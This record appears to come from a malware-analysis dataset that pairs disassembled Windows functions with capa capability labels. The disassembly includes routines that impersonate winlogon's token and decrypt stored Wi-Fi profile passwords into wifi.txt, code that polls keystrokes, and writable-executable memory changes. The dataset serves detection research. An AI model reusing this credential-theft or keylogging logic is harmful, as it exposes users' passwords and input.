joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001b322
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x10058684]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x1c], esp
push str.winlogon.exe
call fcn.1000763c
call fcn.1001b0e0
cmp eax, 1
jae 0x1001b358
xor eax, eax
jmp 0x1001b40c
push eax
xor ebx, ebx
push ebx
mov esi, 0x2000000
push esi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1c], eax
cmp eax, 0xffffffff
je 0x1001b351
lea ecx, [ebp - 0x18]
push ecx
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov edi, eax
cmp edi, ebx
je 0x1001b3f0
push str.SeDebugPrivilege
lea esi, [ebp - 0x48]
call fcn.1000763c
cmp dword [ebp - 0x34], 8
mov esi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x48]
jae 0x1001b39e
lea eax, [ebp - 0x48]
lea ecx, [ebp - 0x24]
push ecx
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
xor edi, edi
test eax, eax
jne 0x1001b3b4
push 1
jmp 0x1001b3dd
mov eax, dword [ebp - 0x24]
push ebx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x20]
push ebx
push ebx
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
push ebx
inc edi
push esi
mov dword [ebp - 0x14], edi
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push edi
xor edi, edi
lea esi, [ebp - 0x48]
call fcn.10003078
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov edi, eax
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x1c], ebx
je 0x1001b400
push dword [ebp - 0x1c]
call esi
cmp dword [ebp - 0x18], ebx
je 0x1001b40a
push dword [ebp - 0x18]
call esi
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001d73b
leave
ret

Function at 0x1001b4ec
Capabilities:
Encrypt data using dpapi

Disassembly:
push pe_nt_image_headers32
mov eax, 0x10041d8e
call fcn.10021f0e
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x118], ebx
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x12c], esi
mov byte [esi], bl
mov dword [ebp - 4], ebx
mov dword [ebp - 0x11c], eax
lea eax, [ebp - 0x128]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x118], 1
mov dword [ebp - 0x120], ecx
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x1001b590
push 0x103
lea eax, [ebp - 0x113]
push ebx
push eax
mov byte [ebp - 0x114], bl
call fcn.10024270
push dword [ebp - 0x124]
lea eax, [ebp - 0x114]
push 0x10050748
push eax
call fcn.1001c7f1
add esp, 0x18
lea eax, [ebp - 0x114]
push eax
mov ecx, esi
call fcn.1000d06f
jmp 0x1001b596
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, esi
call fcn.10021f58
ret 4
Function at 0x1001b89e
Capabilities:
Write file on windows

Disassembly:
push 0xbc
mov eax, 0x100423ac
call fcn.10021f0e
mov eax, dword [ebp + 8]
mov edi, ecx
mov ecx, dword [eax]
xor ebx, ebx
xor esi, esi
mov dword [ebp - 0xc4], eax
cmp ecx, dword [eax + 4]
je 0x1001ba8b
add eax, 0x10
cmp dword [eax + 0x14], 0x10
jb 0x1001b8d2
mov eax, dword [eax]
push ebx
push 0x80
push 4
push ebx
push 1
push 0x120116
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc0], eax
cmp eax, 0xffffffff
je 0x1001ba8b
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
push 2
push ebx
push ebx
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x48]
push str._r_nname_tauth_tpwd_r_n
push eax
call fcn.1000bc91
pop ecx
pop ecx
mov esi, eax
lea edi, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.1000cf26
push ebx
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], bl
call fcn.10003236
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x1001b94a
mov eax, edi
push ebx
lea ecx, [ebp - 0xc8]
push ecx
push dword [ebp - 0x1c]
push eax
push dword [ebp - 0xc0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0xc4]
mov edi, dword [eax]
mov dword [ebp - 0xbc], edi
cmp edi, dword [eax + 4]
je 0x1001ba72
jmp 0x1001b981
mov edi, dword [ebp - 0xbc]
mov esi, 0x100507b4
lea eax, [ebp - 0x80]
push esi
push eax
call fcn.1000bc91
add edi, 0xa8
lea ecx, [edi - 0x70]
push ecx
lea ecx, [ebp - 0xb8]
push ecx
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.10019fd8
push esi
push eax
lea eax, [ebp - 0x9c]
push eax
mov byte [ebp - 4], 3
call fcn.1000bcf5
lea ecx, [ebp - 0x64]
push edi
push ecx
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.10019fd8
push 0x1004ad88
push eax
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 4], 5
call fcn.1000bcf5
add esp, 0x30
mov esi, eax
lea edi, [ebp - 0x2c]
mov byte [ebp - 4], 6
call fcn.1000cf26
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp - 0x48]
call fcn.10003236
push ebx
push esi
lea ecx, [ebp - 0x64]
call fcn.10003236
push ebx
push esi
lea ecx, [ebp - 0x9c]
call fcn.10003236
push ebx
push esi
lea ecx, [ebp - 0xb8]
call fcn.10003236
push ebx
push esi
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], bl
call fcn.10003236
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x1001ba3b
mov eax, edi
push ebx
lea ecx, [ebp - 0xc8]
push ecx
push dword [ebp - 0x1c]
push eax
push dword [ebp - 0xc0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
add dword [ebp - 0xbc], 0xc4
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xbc]
cmp ecx, dword [eax + 4]
jne 0x1001b97b
push dword [ebp - 0xc0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
inc esi
push ebx
push esi
lea ecx, [ebp - 0x2c]
call fcn.10003236
mov eax, esi
call fcn.10021f58
ret 4
Function at 0x1001ba95
Capabilities:
Enumerate files on windows

Disassembly:
push 0x254
mov eax, 0x10042918
call fcn.10021f0e
mov eax, dword [ebp + 8]
mov dword [ebp - 0x25c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x30]
push str..xml
mov edi, ecx
push eax
call fcn.1000bc91
pop ecx
pop ecx
and dword [ebp - 4], 0
cmp dword [ebp - 0x1c], 0x10
mov eax, dword [ebp - 0x30]
jae 0x1001bad8
lea eax, [ebp - 0x30]
lea ecx, [ebp - 0x254]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x258], eax
cmp eax, 0xffffffff
je 0x1001bb81
test byte [ebp - 0x254], 0x10
jne 0x1001bb5e
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.1000bc91
pop ecx
pop ecx
lea eax, [ebp - 0x114]
call fcn.1001bbaa
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 2
call fcn.1001b5a0
test eax, eax
je 0x1001bb43
mov esi, dword [ebp - 0x25c]
lea ecx, [ebp - 0x114]
call fcn.10009fe3
lea esi, [ebp - 0x114]
call fcn.10007507
push 0
push 1
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0
call fcn.10003236
lea eax, [ebp - 0x254]
push eax
push dword [ebp - 0x258]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1001baf5
push dword [ebp - 0x258]
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 0x25c]
mov ecx, dword [ebp - 0x260]
call fcn.1001b89e
push 0
push 1
lea ecx, [ebp - 0x30]
mov esi, eax
call fcn.10003236
mov eax, esi
call fcn.10021f58
ret 8
Function at 0x1001c23b
Capabilities:
Query or enumerate registry key

Disassembly:
push 0x138
mov eax, 0x10042b25
call fcn.10021f0e
mov eax, dword [ebp + 8]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x144], eax
lea eax, [ebp - 0x134]
push eax
mov edi, 0x20019
push edi
xor ebx, ebx
push ebx
push str.SOFTWAREMicrosoftWZCSVCParametersInterfaces_
mov dword [ebp - 0x138], ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push reloc.OLEAUT32.dll_SysReAllocString
call esi
test eax, eax
jne 0x1001c37a
push 0x104
lea eax, [ebp - 0x114]
push eax
push ebx
push dword [ebp - 0x134]
mov dword [ebp - 0x13c], ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
cmp eax, ebx
jne 0x1001c36e
lea eax, [ebp - 0x138]
push eax
push edi
push ebx
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 0x134]
call esi
test eax, eax
jne 0x1001c342
lea eax, [ebp - 0x114]
mov dword [ebp - 0x11c], 0xf
mov dword [ebp - 0x120], ebx
mov byte [ebp - 0x130], bl
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x1001c2ee
sub eax, ecx
push eax
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x130]
call fcn.1000cffa
mov edx, dword [ebp - 0x140]
mov dword [ebp - 4], ebx
push dword [ebp - 0x138]
lea ecx, [ebp - 0x130]
call fcn.1001c0e6
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x130]
call fcn.10003236
push dword [ebp - 0x138]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 0x13c]
push 0x104
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 0x13c]
push dword [ebp - 0x134]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x1001c2b3
push dword [ebp - 0x134]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 0x144]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
push 0x1004a756
mov ecx, esi
mov byte [esi], bl
call fcn.1000d06f
mov eax, esi
call fcn.10021f58
ret 8
Function at 0x1001c3a2
Capabilities:
Check os version

Disassembly:
push 0x14c
mov eax, 0x10042c32
call fcn.10021f0e
xor eax, eax
mov dword [ebp - 0x150], eax
mov esi, ecx
mov dword [ebx + 0x14], 0xf
mov dword [ebx + 0x10], eax
mov dword [ebp - 0x14c], esi
mov dword [ebp - 0x154], ebx
mov edi, edx
mov byte [ebx], al
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push str.wifi.txt
push eax
mov dword [ebp - 0x150], 1
call fcn.1000bc91
pop ecx
pop ecx
lea edi, [esi + 0x10]
mov esi, eax
mov dword [ebp - 4], 1
call fcn.1000cf26
push 0
push 1
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.10003236
mov esi, 0x114
push esi
lea eax, [ebp - 0x148]
push 0
push eax
call fcn.10024270
add esp, 0xc
lea eax, [ebp - 0x148]
push eax
mov dword [ebp - 0x148], esi
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x144], 6
jb 0x1001c48f
call fcn.1001b322
test eax, eax
je 0x1001c482
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x14c]
call fcn.1001bc08
mov esi, eax
mov edi, ebx
mov dword [ebp - 4], 2
call fcn.1000cf26
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.10003236
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
jmp 0x1001c4ba
push str.get_admin_Privilege_error
call fcn.10003e3a
pop ecx
jmp 0x1001c4ba
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x14c]
call fcn.1001c23b
mov esi, eax
mov edi, ebx
mov dword [ebp - 4], 3
call fcn.1000cf26
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.10003236
mov eax, ebx
call fcn.10021f58
ret

Function at 0x1001d73b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10058684]
jne 0x1001d745
repz ret
jmp fcn.10024358
Function at 0x100321bc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10058684]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10029120
and dword [ebp - 0x14], 0
cmp dword [0x1005b61c], 0
mov dword [ebp - 0x18], eax
jne 0x1003226f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10032317
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10032317
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1005b61c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1005b620], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1005b624], eax
call edi
push eax
call esi
mov dword [0x1005b62c], eax
test eax, eax
je 0x1003226f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1005b628], eax
mov eax, dword [0x1005b628]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x100322c8
cmp dword [0x1005b62c], ecx
je 0x100322c8
push eax
call esi
push dword [0x1005b62c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x100322c8
test ebx, ebx
je 0x100322c8
call edi
test eax, eax
je 0x100322bf
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x100322bf
test byte [ebp - 8], 1
jne 0x100322c8
or dword [ebp + 0x10], 0x200000
jmp 0x100322fb
mov eax, dword [0x1005b620]
cmp eax, dword [ebp - 0x18]
je 0x100322fb
push eax
call esi
test eax, eax
je 0x100322fb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100322fb
mov eax, dword [0x1005b624]
cmp eax, dword [ebp - 0x18]
je 0x100322fb
push eax
call esi
test eax, eax
je 0x100322fb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1005b61c]
call esi
test eax, eax
je 0x10032317
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10032319
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001d73b
leave
ret
Function at 0x10038680
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push edi
mov edi, 0x34567890
mov dword [ecx], 0x12345678
mov dword [ecx + 4], 0x23456789
mov dword [ecx + 8], edi
mov dl, byte [eax]
test dl, dl
je 0x100386f0
push esi
mov esi, dword [ecx + 4]
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
and edx, 0xff
mov edx, dword [ebx + edx*4]
shr eax, 8
xor edx, eax
movzx eax, dl
add esi, eax
mov eax, dword [ebp + 8]
imul esi, esi, 0x8088405
mov dword [ecx], edx
inc esi
mov edx, esi
shr edx, 0x18
xor edx, edi
and edx, 0xff
shr edi, 8
mov dword [ecx + 4], esi
xor edi, dword [ebx + edx*4]
inc eax
mov dword [ecx + 8], edi
mov dl, byte [eax]
mov dword [ebp + 8], eax
test dl, dl
jne 0x100386a6
pop esi
pop edi
pop ebp
ret
Function at 0x10039ed0
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
xor ebx, ebx
push edi
mov dword [ebp - 8], ebx
cmp dword [esi + 0x100ac], ebx
je 0x10039f90
cmp dword [esi + 0x7c], ebx
jbe 0x10039f90
mov eax, 0xffffff5c
sub eax, esi
lea edi, [esi + 0xa4]
mov dword [ebp - 4], eax
jmp 0x10039f10
movzx ecx, byte [edi]
mov eax, dword [esi + 0x100d0]
mov ebx, dword [esi + 0x100dc]
xor ecx, eax
mov edx, dword [esi + 0x100d8]
shr eax, 8
and ecx, 0xff
mov ecx, dword [ebx + ecx*4]
xor ecx, eax
movzx eax, cl
add eax, dword [esi + 0x100d4]
mov dword [esi + 0x100d0], ecx
mov ecx, dword [esi + 0x100d8]
imul eax, eax, 0x8088405
inc eax
mov dword [esi + 0x100d4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [ebx + eax*4]
and edx, 0xfffd
or edx, 2
mov eax, edx
xor eax, 1
imul eax, edx
mov dword [esi + 0x100d8], ecx
mov ecx, dword [ebp - 4]
shr eax, 8
xor byte [edi], al
inc edi
add ecx, edi
cmp ecx, dword [esi + 0x7c]
jb 0x10039f10
xor ebx, ebx
mov edi, dword [esi + 0x7c]
mov ecx, dword [esi + 0x2c]
mov edx, dword [esi + 0x1c]
push edi
lea eax, [esi + 0xa4]
push eax
mov eax, dword [esi + 8]
push ecx
push edx
call eax
add esp, 0x10
cmp eax, edi
je 0x10039fb4
or eax, 0xffffffff
jmp 0x10039fb7
mov eax, dword [ebp - 8]
add dword [esi + 0x100c0], edi
mov ecx, dword [esi + 0x48]
pop edi
adc dword [esi + 0x100c4], ebx
add dword [esi + 0x100c8], ecx
mov dword [esi + 0x48], ebx
mov dword [esi + 0x7c], ebx
adc dword [esi + 0x100cc], ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1003bff0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
mov edi, dword [esi + 0x2c]
mov dword [ebp - 0xc], edi
jmp 0x1003c003
mov edi, dword [ebp - 0xc]
mov ebx, dword [esi + 0x3c]
sub ebx, dword [esi + 0x74]
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x2c]
sub ebx, eax
lea edx, [edi + ecx - 0x106]
mov dword [ebp - 4], ebx
cmp eax, edx
jb 0x1003c07d
mov eax, dword [esi + 0x38]
push edi
lea ecx, [eax + edi]
push ecx
push eax
call fcn.10021760
mov edx, dword [esi + 0x4c]
mov eax, dword [esi + 0x44]
sub dword [esi + 0x70], edi
sub dword [esi + 0x6c], edi
add esp, 0xc
sub dword [esi + 0x5c], edi
lea ecx, [eax + edx*2]
movzx eax, word [ecx - 2]
sub ecx, 2
cmp eax, edi
jb 0x1003c051
sub eax, edi
jmp 0x1003c053
xor eax, eax
dec edx
mov word [ecx], ax
jne 0x1003c042
mov ecx, dword [esi + 0x40]
mov edx, edi
lea ecx, [ecx + edi*2]
movzx eax, word [ecx - 2]
sub ecx, 2
cmp eax, edi
jb 0x1003c070
sub eax, edi
jmp 0x1003c072
xor eax, eax
dec edx
mov word [ecx], ax
jne 0x1003c061
add ebx, edi
mov dword [ebp - 4], ebx
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x1003c1a6
mov eax, dword [esi + 0x74]
add eax, dword [esi + 0x6c]
mov ecx, dword [edi + 4]
add eax, dword [esi + 0x38]
mov edx, dword [ebp - 4]
mov ebx, ecx
mov dword [ebp - 8], eax
cmp ebx, edx
jbe 0x1003c0a3
mov ebx, edx
test ebx, ebx
je 0x1003c0f3
mov edx, dword [edi + 0x1c]
sub ecx, ebx
mov dword [edi + 4], ecx
mov ecx, dword [edx + 0x18]
cmp ecx, 1
jne 0x1003c0c6
mov eax, dword [edi]
mov ecx, dword [edi + 0x30]
push ebx
push eax
push ecx
call fcn.1003dd90
jmp 0x1003c0d8
cmp ecx, 2
jne 0x1003c0e1
mov edx, dword [edi]
mov eax, dword [edi + 0x30]
push ebx
push edx
push eax
call fcn.1003dd70
mov dword [edi + 0x30], eax
mov eax, dword [ebp - 8]
add esp, 0xc
mov ecx, dword [edi]
push ebx
push ecx
push eax
call fcn.10021760
add dword [edi], ebx
add esp, 0xc
add dword [edi + 8], ebx
add dword [esi + 0x74], ebx
mov ebx, dword [esi + 0x74]
cmp ebx, 3
jb 0x1003c11b
mov edx, dword [esi + 0x6c]
add edx, dword [esi + 0x38]
mov ecx, dword [esi + 0x58]
movzx eax, byte [edx]
mov dword [esi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x54]
mov dword [esi + 0x48], eax
cmp ebx, 0x106
jae 0x1003c12f
mov edx, dword [esi]
cmp dword [edx + 4], 0
jne 0x1003c000
mov eax, dword [esi + 0x16c0]
mov ecx, dword [esi + 0x3c]
cmp eax, ecx
jae 0x1003c1a6
mov edi, dword [esi + 0x6c]
add edi, ebx
cmp eax, edi
jae 0x1003c175
sub ecx, edi
mov ebx, ecx
cmp ebx, 0x102
jbe 0x1003c156
mov ebx, 0x102
mov eax, dword [esi + 0x38]
push ebx
add eax, edi
push 0
push eax
call fcn.10024270
add esp, 0xc
add ebx, edi
pop edi
mov dword [esi + 0x16c0], ebx
pop ebx
mov esp, ebp
pop ebp
ret
lea edx, [edi + 0x102]
cmp eax, edx
jae 0x1003c1a6
sub edi, eax
add edi, 0x102
sub ecx, eax
cmp edi, ecx
jbe 0x1003c18f
mov edi, ecx
mov ecx, dword [esi + 0x38]
push edi
add ecx, eax
push 0
push ecx
call fcn.10024270
add esp, 0xc
add dword [esi + 0x16c0], edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4075f9
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x46bcbc], 0
jne 0x407637
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x40760d
mov dword [ecx*4 + 0x46bcb8], eax
inc ecx
cmp ecx, 0x100
jl 0x407608
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x407664
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x46bcb8]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x407645
not eax
pop ebp
ret 0xc
Function at 0x401006
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x428004]
jne 0x401010
repz ret
jmp fcn.00401748

Function at 0x405478
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402f5b
and dword [ebp - 4], 0
cmp dword [0x42a430], 0
mov ebx, eax
jne 0x405529
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4055da
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4055da
push eax
call fcn.00402ee9
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42a430], eax
call esi
push eax
call fcn.00402ee9
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42a434], eax
call esi
push eax
call fcn.00402ee9
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42a438], eax
call esi
push eax
call fcn.00402ee9
pop ecx
mov dword [0x42a440], eax
test eax, eax
je 0x405529
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402ee9
pop ecx
mov dword [0x42a43c], eax
mov eax, dword [0x42a43c]
cmp eax, ebx
je 0x405581
cmp dword [0x42a440], ebx
je 0x405581
push eax
call fcn.00402f64
push dword [0x42a440]
mov esi, eax
call fcn.00402f64
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x405581
test edi, edi
je 0x405581
call esi
test eax, eax
je 0x405578
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x405578
test byte [ebp - 0xc], 1
jne 0x405581
or dword [ebp + 0x10], 0x200000
jmp 0x4055ba
mov eax, dword [0x42a434]
cmp eax, ebx
je 0x4055ba
push eax
call fcn.00402f64
pop ecx
test eax, eax
je 0x4055ba
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4055ba
mov eax, dword [0x42a438]
cmp eax, ebx
je 0x4055ba
push eax
call fcn.00402f64
pop ecx
test eax, eax
je 0x4055ba
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42a430]
call fcn.00402f64
pop ecx
test eax, eax
je 0x4055da
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4055dc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42083d
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x40
push dword [0x42bec4]
push dword [0x42bbe0]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
leave
ret

Function at 0x4208cc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp ebx, 0x19f
jne 0x4208e1
push 0
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push edi
xor edi, edi
test ebx, ebx
jle 0x420919
push esi
and dword [ebp - 8], 0
lea esi, [ebp - 8]
mov dword [ebp - 4], 5
call fcn.004208c1
mov eax, dword [ebp - 8]
add eax, 0x46
mov dword [ebp - 4], eax
sub dword [ebp - 4], 0x46
mov eax, dword [ebp + 8]
mov cl, byte [ebp - 4]
add eax, edi
xor byte [eax], cl
inc edi
cmp edi, ebx
jl 0x4208e9
pop esi
pop edi
cmp ebx, 0x2d
jne 0x420930
or dword [0x42bed4], 0xffffffff
mov dword [0x42bed0], 0xa62e7790
leave
ret
Function at 0x11004b8c
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x110fe320]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor esi, esi
push esi
mov dword [ebp - 0x210], esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
push esi
mov esi, dword [ebp + 0xc]
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyExW]
mov edi, eax
cmp esi, 0x21
jb 0x11004bda
cmp esi, 0x28
jbe 0x11004bd4
lea eax, [esi - 0x2d]
cmp eax, 1
ja 0x11004bda
or edi, 0x100
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.11063680
add esp, 0xc
lea eax, [ebp - 0x20c]
mov ecx, edi
or ecx, 0x1000000
cmp dword [ebp + 0x10], 0
push 0x104
cmove ecx, edi
push eax
shl ecx, 0x10
push ecx
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
push 0xffffffffffffffff
lea eax, [ebp - 0x20c]
mov ecx, ebx
push eax
call sym.DuiLib.dll_public:_void___thiscall_DuiLib::CDuiString::constructor_wchar_t_const___int_
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.11060d3a
mov esp, ebp
pop ebp
ret 0xc